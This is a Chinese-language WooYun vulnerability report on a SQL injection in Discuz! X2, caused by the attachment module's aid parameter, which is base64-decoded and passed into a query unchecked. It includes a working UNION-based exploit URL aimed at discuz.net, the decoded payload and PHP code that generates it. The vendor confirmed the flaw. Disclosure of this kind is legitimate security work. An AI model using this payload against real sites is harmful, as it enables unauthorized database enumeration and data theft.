当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-02330

漏洞标题:Discuz! X2 SQL注射漏洞

相关厂商:Discuz!

漏洞作者: Jannock

提交时间:2011-06-28 16:49

修复时间:2011-07-28 18:00

公开时间:2011-07-28 18:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-06-28: 细节已通知厂商并且等待厂商处理中
2011-06-28: 厂商已经确认,细节仅向厂商公开
2011-07-01: 细节向第三方安全合作伙伴开放
2011-08-22: 细节向核心白帽子及相关领域专家公开
2011-09-01: 细节向普通白帽子公开
2011-09-11: 细节向实习白帽子公开
2011-07-28: 细节向公众公开

简要描述:

Discuz! X2 SQL注射漏洞,支持Union

详细说明:

文件:source\module\forum\forum_attachment.php
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));
if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {
dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']);
}
变量aid 直接base64_decode 后传入 SQL查询,造成注射漏洞。。。

漏洞证明:

http://www.discuz.net/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
http://www.discuz.net/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member
暴出表名 pre_common_admincp_member
实际查询为:
$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";
die (urlencode(base64_encode($x)));

修复方案:

您懂得!

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2011-06-28 18:44

厂商回复:

感谢您的支持, 我们已经处理中

最新状态:

暂无